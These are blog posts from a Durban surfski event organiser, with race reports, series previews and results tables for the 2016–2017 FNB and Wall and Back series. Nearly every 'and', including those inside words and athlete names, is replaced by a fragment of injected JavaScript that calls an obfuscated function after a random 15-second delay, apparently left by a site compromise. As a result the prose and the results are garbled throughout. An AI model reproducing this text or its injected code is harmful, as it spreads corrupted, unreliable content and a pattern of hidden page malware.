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    My eventing started in 2010 when I took over the Marine Surfski Series from the club I had grown up at and since then have grown the series into the biggest of it’s kind in the country.

    I now offer a number of eventing services to the water sport community. In 2013 this included branching out into more surfski races in the winter months as the Bay Union Surfski Series and also worked on the World MTB Champs in PMB.

    This category on my blog covers news and updates from the events I organise, dont miss out.

    Top of the class finish for 2017 FNB Surfski Series

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The 2017 FNB Surfski Series came to an exciting end with the Varsity College Surfski Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Varsity College SA Schools Championships taking place at the Marine Surf Lifesaving Club on Friday evening.

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    Appropriately, Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hayley Nixon claimed Race Ten win’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and by doing so they wrapped up the overall men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s titles for the second year in succession.

    Euro Steel/Carbonology’s Nixon had to finish well at the final race of the series to secure the title andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with the threat of Bridgitte Hartley racing the final race of the series, the pressure was on. However, Nixon powered her way home to win by just over a minute ahead of Hartley in second with Kyeta Purchase in third.

    It was an impressive seventh win of the series for Euro Steel/Epic Kayaks’ Hank McGregor who just pipped Capetonian Kenny Rice to the post while Matt Bouman rounded out the podium.

    Much of the focus of the evening was the Varsity College SA Schools Championships which provided some exciting race across the Under 18 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Under 16 divisions with William Wood from Selborne College in East London taking a tight win.

    “I have been working really hard for this andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when I was behind after the first lap I just put my head down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made sure Hamish (Lovemore) didn’t get away from me,” Wood mentioned after his win.

    “It was a proper, hard race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I felt good from the beginning but it was a really good contest throughout the race.”

    The race was a ding-dong battle throughout the second lap with both paddlers not giving an inch, however it was Wood who got the slightest of gaps coming into the finish which was just enough to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and him a memorable win.

    “On the final downwind leg we were matching each other run for run but I managed get a run ahead of him andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he got caught just behind me which gave me the space I needed.

    “I just held the gap for a bit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grew it slightly coming into the finish.

    “Such a great feeling to be able to win a race that I have been working towards for so long andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take back the title to East London!” a satisfied Wood added.

    Young Under 16 paddler Ulvard Hart came home in third place in the boys section with Hamish Mackenzie just behind him to take second Under 16 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fourth overall.

    In the girls race it was FNB Surfski Series regular Sabina Lawrie who was too strong for the rest of the girls field as she finished eighth overall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just under three minutes ahead of Christie Mackenzie in second.

    Zara Wood was the third girl across the finish line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was the first Under 16 girl to finish the 8km course. Cara Waud was second Under 16 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sixth girl to finish.
    On another jam-packed Friday evening at Marine SLC Luke Nisbet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Ward showed their class once again to finish third in the doubles category andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and claim another mixed doubles win whilst Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Clinton Cook took the overall doubles spoils.

    Mthebeni Mhkize was the strongest boat in the 4km short course, however the strongest boat in the race was the visiting doubles pair of Andre andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Helen Wood.

    Carmel Billson was in fine form as she finished the short course as the third single ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and first female ski. She finished ahead of Siobhan Sharp in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Nel in third.

    In the standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-up paddleboard category Nick Park-Ross once again showed his skills to claim another win. In the ladies SUP category it was Danica Bartho who finished top once again andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finished fifth overall.

    More information can be found at www.marineseries.co.za.
    SUMMARY OF RESULTS – Varsity College Surfski Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Varsity College SA Schools Champs
    RACE TEN OF THE 2017 FNB SURFSKI SERIES

    LONG COURSE
    1.Hank McGregor 31.24
    2.Kenny Rice 31.42
    3.Matt Bouman 31.45
    4.Wade Krieger 32.47
    5.Gene Prato 33.43
    6.Grant van der Walt 33.58
    7.Bailey de Fondaumiere 34.12
    8.Emil Torstensonn 34.14
    9.Tyron Maher 34.16
    10.Jordon Clauson 35.10

    Women
    1.Hayley Nixon 36.39
    2.Bridgitte Hartley 37.30
    3.Kyeta Purchase 39.08
    4.Kerry Segal 39.18
    5.Pippa McGregor 40.23

    Doubles
    1.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/Clinton Cook 31.26
    2.Thomas Lovemore/Felix Richter 32.52
    3.Jenna Ward/Luke Nisbet 33.02

    Mixed Doubles
    1.Jenna Ward/Luke Nisbet 33.02
    2.Raquel Arcediano/Gareth Miles 35.43
    3.Rowan Matthews/Jenna Matthews 37.39

    Women Doubles
    1.Emma Broberg/Emma Andersson 36.26
    2.Wilma Deyzel/Lyn Bennett 40:16
    3.Sharon Armstrong/Kelly Biljoen 41.52

    SHORT COURSE
    1.Mthebeni Mkhize 20.09
    2.Bruze Jackson 21.16
    3.Carmel Bilson 22.48
    4.Kevin Oliver 23.00
    5.Dave Rees 23.11

    Women
    1.Carmel Bilson 22.48
    2.Siobhan Sharp 23.12
    3.Jenna Nel 25.05

    Double
    1.Andre Wood/Helen Wood 18.56
    2.Jody Taylor/Duane Taylor 19.28
    3.LAnce Howarth/Jade Howarth 21.18

    SUP
    1.Nick Park-Ross 25.27
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    3.Jon Ivins 28.08
    4.Matt Swemmer 28.36
    5.Brendon Germaine 29.07

    Women
    1.Danica Bartho 29.00
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    3.Charlotte Atherton 30.07

    VARSITY COLLEGE SA SCHOOLS CHAMPIONSHIPS
    OVERALL
    1.William Wood 34.14
    2.Hamish Lovemore 34.38
    3.Ulvard Hart (U16) 36.21
    4.Hamish Mackenzie (U16) 36.25
    5.Stewart Little 37.15
    6.Brendon Delport 37.31
    7.Alex Masina 38.08
    8.Sabina Lawrie 38.16
    9.Kelly Ashton Tarr 39.02
    10.Matthew Maroun 39.50

    GIRLS
    1.Sabina Lawrie 38.16
    2.Christie Mackenzie 41.21
    3.Zara Wood (U16) 43.20
    4.Teegan Hardwick 45.44
    5.Alice Edwards 46.19

    UNDER 16 BOYS
    1.Ulvard Hart 36.21
    2.Hamish Mackenzie 36.25
    3.James Matthews 43.43
    4.Petrus de Klerk 48.03
    5.George Edward 1:08.04

    UNDER 16 GIRLS
    1.Zara Wood 43.20
    2.Cara Waud 47.25

    Early surprise as Hartley takes first win at FNB Surfski Series

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – With hundreds of excited paddlers lining the Addington Beach for the first race of the 2017 FNB Surfski Series on Friday, the race produced a big surprise as former Olympic bronze medallist Bridgitte Hartley beat off the tough ladies competition to claim a maiden win at race one while stalwart Hank McGregor took the honours in the men’s race.

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    Paddlers were greeted to some tame conditions as long course, short course andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-up paddle boarders took some time to work out the rust andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Christmas pudding on Friday, however the racing at the sharp end of the field was as tough as ever with paddlers jostling for an early advantage.

    Hartley andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race favourite andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Euro Steel team mate Hayley Nixon spent a lot of the race together however when the paddlers turned into the wind for the final time Hartley came into her own andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and managed to get ahead all the way to the finish line.

    “Tonight was really fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I was really excited to race with so many other paddlers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and against some strong ladies,” Hartley mentioned.

    “I really didn’t know what to expect so I was fairly cautious at the start of the race but I managed to catch Hayley just before the first buoy.”

    Hartley was going to have her work cut out for her against an experienced paddler like Nixon but she believed that if she turned for home with Nixon she had a chance of winning.

    “I tried to interval as much as I could into the wind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we had so much fun trying to catch some runs with the wind!

    “It was so much fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am really excited that I managed to get a win at the first race of the series,” she added.

    The ladies field was rounded out by Euro Steel/Carbonology’s Hayley Nixon in second, who finished 44 seconds behind Hartley, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and young Euro Steel/Fenn Kayaks’ star Kyeta Purchase, who came home in third a further two minutes behind Nixon.

    Euro Steel/Epic Kayaks’ Hank McGregor managed to pick up where he left off in 2016 with another win at the FNB Surfski Challenge as he eyes an impressive eighth FNB Surfski Series title. McGregor was in a class of his own as he dominated the entire field to win the race by 38 seconds over long-time rival Matt Bouman with Wade Krieger coming home in third.

    Clinton Cook andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hamish Lovemore finished second overall in the race just behind McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and managed to just pip the pair of Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Richard Lowe to the win.

    Emanuel Zaloumis was the best placed junior when he finished tenth overall just two seconds ahead of Hamish Mackenzie with Sabine Lawrie being the best placed junior girl.

    The short course was dominated by Matthew Maroun who took the overall honours over Shane Maguire in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jasper Gaylard in third.

    The SUP category was a tough race with Nick Park-Ross taking the race one honours ahead of Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andon Read in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Robbie de Billot in third. The ladies category was won by Charlotte Anderson ahead of Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande Williamson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Danica Bartho in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and third respectively.

    The The Funky Pants Surfski Challenge, Race Two of the 2017 FNB Surfski Series, takes place at 17h30 on Friday, 13 January at Marine Surf Lifesaving Club, Addington Beach. More information can be found at www.marineseries.co.za.

    SUMMARY OF RESULTS – FNB SURFSKI CHALLENGE
    RACE ONE OF THE 2017 FNB SURFSKI SERIES

    LONG COURSE
    1.Hank McGregor 32:46
    2.Matt Bouman 33:14
    3.Wade Krieger 34:20
    4.Grant van der Walt 34:21
    5.Bailey de Fondaumiere 35:32
    6.Gene Prato 35:37
    7.Lee McGregor 35:39
    8.Tyron Maher 36:34
    9.Oliver Burn 37:22
    10.Emanuel Zaloumis 37:28

    Women
    1.Brigitte Hartley 36:50
    2.Hayley Nixon 37:34
    3.Kyeta Purchase 39:35

    Doubles
    1.Clinton Cook/Hamish Lovemore 32:58
    2.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/Richard Lowe 33:09
    3.Darly Bartho/Clinton Pretorius 34:27

    Mixed Double
    1.Jenna Ward/Luke Nisbet 34:41

    Junior Boys
    1.Emanuel Zaloumis 37:28
    2.Hamish Mackenzie 37:30
    3.Brendon Delport 39:56

    Junior Girls
    1.Sabina Lawrie 42:44

    SHORT COURSE
    1.Matthew Maroun 20:59
    2.Shane Maguire 22:17
    3.Jasper Gaylard 23:00

    Doubles
    1.Justin Swart/Stefan Swart 21:21
    2.Mark Taylor/Richard Taylor 22:09
    3.Jason Ward/Nigel Ward 22:12

    SUP
    Men
    1.Nick Park-Ross 26:26
    2.Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andon Read 26:58
    3.Robbie de Billot 27:42

    Women
    1.Charlotte Anderson 30:19
    2.Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande Williamson 30:41
    3.Danica Bartho 32:26

    2017 FNB Surfski Series set for another top-class showdown

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The Durban surfski fraternity will once again be treated to a spectacle when the coutnry’s best surfski stars battle it out over the 10-leg FNB Surfski Series as world leaders andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beginners alike take to the warm Indian Ocean waters from this Friday until March in one of the most popular series on the East Coast.

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    The Durban surfski scene has been dominated over the years by two of the world’s leading paddlers – Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Matt Bouman. The two have built up an impressive rivalry that has seen the pair trade series titles, although in recent years McGregor has been the dominant force andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be back to defend the title he won in 2016.

    McGregor, who recently took home the overall honours in the World Surfski Series, is in top racing form andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will return to the familiar waters of KwaZulu-Natal with his eyes on another overall title at the 2017 FNB Surfski Series.

    “I think last year was my seventh title at the series so it really is a series that I enjoy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have done for years,” Euro Steel/Epic Kayaks’ McGregor mentioned.

    “Barry (Lewin) always puts on such a great event andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and through the ten weeks it becomes tradition for my family so we feel a bit lost with what to do on a Friday night when the series is over!

    “I’m really looking forward to another tough series against not only some of the best surfski paddlers in KZN, but in the world too.”

    McGregor’s long standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding battle with Bouman goes back to well before their professional paddling days andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he knows that not only Bouman will pose a threat to his title chase.

    “Matthew andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I have been racing each other since we were about eight years old so we know each other pretty well.

    “The likes of Wade Krieger will also be a tough competitor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am sure that there are going to be some youngsters looking to make an impact on the series,” he added.

    The FNB Surfski Series has become a stalwart event in Durban during the early months of the year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with resolutions being made McGregor feels that this adds to the series’ appeal.

    “It’s a great way to get back into the swing of things after a good break over the festive season.

    “People are looking for events to get themselves back into shape andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with a fairly forgiving course it’s an ideal way for people to get into surfski racing.

    “I am looking forward to another competitive year of racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with my river season training in full swing it will be nice to get into a surfski once in a while,” McGregor added.

    The women’s series is set to be one of the most competitive yet with the depth of women’s surfski paddling in KZN growing substantially in the past few years. Hayley Nixon, who won the women’s World Surfski Series title in 2016, is one of those hoping to take top honours this year.

    “I love being involved in the FNB Surfski Series as it was probably the first series that I ever did in a surfski,” the Euro Steel/Carbonology star mentioned.

    “Each week it is always such a great way to start the weekend andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this year I am expecting the battle for the women’s title to be really tough!

    “There are girls coming across from river racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with the likes of Bridgitte (Hartley) also getting into a surfski means that there are so many girls with different strengths. It makes the racing really competitive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and each week will be just as tough.”

    The FNB Surfski Challenge, Race One of the 2017 FNB Surfski Series, takes place at 17h30 on Friday, 6 January at Marine Surf Lifesaving Club, Addington Beach. More information can be found at www.marineseries.co.za

    FNB Surfski Series to welcome Durban paddlers to 2017

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – As many preparing for the fast-approaching festive season, the December holidays represent a golden opportunity for KwaZulu-Natal’s paddling fraternity to enjoy spending time on the ocean, brushing up on their surfski skills ahead of the arrival of the much-anticipated 2017 FNB Surfski Series in January.

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    The popular ten race series is one of the biggest of its kind globally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attracts hundreds of paddling enthusiasts to Marine Surf Lifesaving Club at Addington Beach each week for the Friday evening contests.

    With an 8km or novice-friendly 4km race option, easy surf entry, on-water safety crews andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and endless lucky draw prizes, the series is the ideal way for beginners to get into the sport while sharing the start line with some of the globe’s top elite racers who also lock horns weekly.

    “2017 is set to be another cracking year for the FNB Surfski Series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we’re really looking forward to hosting hundreds of past participants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and scores of new faces each week,” says series coordinator, Barry Lewin.

    “Coming down to the FNB Surfski Series on a summery Friday evening in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and racing with or against your buddies before then swapping a few battle stories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and claiming the week’s bragging rights – we don’t believe there is a better way to start the weekend!” he adds.

    While much of what has made the series the success it has become remains, one exciting change to the mix sees banking giant First National Bank (FNB) take over as the series’ sole title sponsor having shared this with Varsity College for the past two years.

    FNB’s enlarged backing of the series sees them further entrench themselves in South African paddling circles having already established strong ties with the iconic Dusi Canoe Marathon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Durban Downwind surfski race.

    “FNB Business is delighted to be a sponsor of the FNB Surfski Series,” says FNB Business KZN Provincial Head, Howard Arrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.

    “At FNB Business, developing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maintaining relationships with our clients forms an integral part of how we do business. The FNB Surfski Series provides us with an exciting platform where we can make a lasting connection with new andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and existing clients.

    “Innovation is central to FNB Business; the annual FNB Surfski event is perfectly aligned to our belief that adventure is the heart of innovation.

    “Over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and above this, the FNB Surfski Series affirms our commitment to providing an experience for participants through a sport that is ever growing in popularity in the KwaZulu-Natal region.”

    Having gone head-to-head during the series’ clashes for the better part of a decade, global surfski stars Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Matt Bouman are again expected to contest the weekly spoils while Wade Krieger, Luke Nisbet, Steve Woods, Gene Prato andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bailey de Fondaumiere add depth to the world class men’s field.

    “It is always great to race against a quality field andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Durban hosts many of the top ten paddlers in the world, while we also often get some out-of-towners join us too, so you know you’re in for a great race each andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every week of the FNB Surfski Series,” says Euro Steel/Epic Kayaks’ McGregor.

    “It’s great to be able to test yourself on a Friday evening andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the series is a really nice way start the year again after recharging a bit over the festive season.

    “With the racing only being over 8km, you don’t exactly have to be the fittest person on earth to complete the race but up front the pace certainly does get quite intense.

    “Barry (Lewin) always creates a really safe environment, especially with all the novices often in the field, so while its fast andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and furious for those that are racing, its friendly as well!”

    The women’s title challenge will too be a hard-fought, richly contested affair as the likes of Nicole Russell, Hayley Nixon, Kyeta Purchase andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Ward square off while Michelle Burn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Donna Tutton could add great experience to the mix as well.

    The FNB Surfski Challenge, race one of the 2017 FNB Surfski Series, gets proceedings underway on Friday 6 January at 17h30 at Marine Surf Lifesaving Club.

    The opening encounter is however preceded by a series registration function at Robsons on Point in Durban’s Point precinct on Thursday 5 January from 16h00-19h00.

    While race entry is R100 per paddler, participants are encouraged to take advantage of the series special that gives paddlers 20% discount should they enter all ten races upfront.

    Series special purchasers, together with those who complete eight or more races during the series, will also qualify for the series’ loyalty programme giveaway – a limited edition FNB paddle cover.

    More information can be found at www.marineseries.co.za as well as on Facebook (www.facebook.com/marinesurfskiseries), Twitter (www.twitter.com/marineseries) or YouTube (www.youtube.com/user/MarineSeries).

    Back-to-back Illovo Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back wins for Krieger & Ward

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – A warm evening greeted participants of Friday’s second race of the 2016 Illovo Suncoast Pirates Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back Surfski Series at Suncoast Pirates Lifesaving Club on Durban’s beachfront, a clash ultimately won by Wade Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Ward respectively.

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    With another richly talented field on the start line, race one winners Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Ward were in for a tough tussle at the front of the men’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women’s race respectively however the pair overcame the conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their rivals to each claim their second victories of the six-leg series.

    “I’m really happy with the way I’m paddling at the moment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I felt really good on the day, so it was nice to get another win andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s been pleasing to start the Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back series strongly,” said Gravity Sports/Epic Kayaks’ Krieger.

    In the testing conditions, Krieger edged out evergreen powerhouse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regular top performer, Epic Kayaks’ Matt Bouman while Pirates local lad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bay Union/Fenn Kayaks athlete Luke Nisbet charged home to collect third place.

    “The surf was up so you had to be really focused andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pick your line through the wavezone quite carefully,” explained Krieger. “Fortunately I managed to get out first, about twenty metres ahead of Matt.”

    “He then closed that gap on the leg down to the harbour wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was even as we turned.

    “As we went around the buoy though, Matt got stuck on the buoy’s rope andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fell out, so I stopped to help him get his paddle back.

    “On the way home we had the wind behind us andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I knew Matt would be dominant in those conditions, but I managed to keep up with him.

    “When we came around the last can before the finish, Matt got onto a wave first andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so I committed to a pretty big wave, which helped me catch back up to Matt.”

    While the vastly experienced trio of lifesaving andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surfski stars battled it out up front for the podium places, two talented young juniors were locked in a race of their own a little further back.

    Carbonology Sport’s Bailey de Fondaumiere went on to clinch the Junior Boys’ spoils andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fourth place overall while second place Junior, Hamish Lovemore followed him home in fifth position nineteen seconds later.

    Having spent much of her year focusing on the river andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flatwater marathon scenes, Euro Steel/Fenn Kayaks’ Ward recently made a welcome return to her surfski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is relishing being back in the sea’s salty water once more.

    “After the Fish River Canoe Marathon I got back into my ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it has been great to be back on the ocean again!

    “I’ve been spending as much time as I can trying to get used to the surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and catching runs again so its nice that some of that has paid off at these first two Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back races while it was also great to have Kyeta (Purchase) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Donna (Tutton) on the water again too!

    “Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back is all part of my build up to the upcoming SA Surfski Champs at Pete Marlin in the Eastern Cape on the first weekend of November as well as the Dragon Run in Hong Kong the weekend after that, so in that sense its nice that things are going well for me at the moment too.”

    Ward’s Euro Steel/Fenn Kayaks team mate, Kyeta Purchase finished second while Donna Tutton claimed third place.

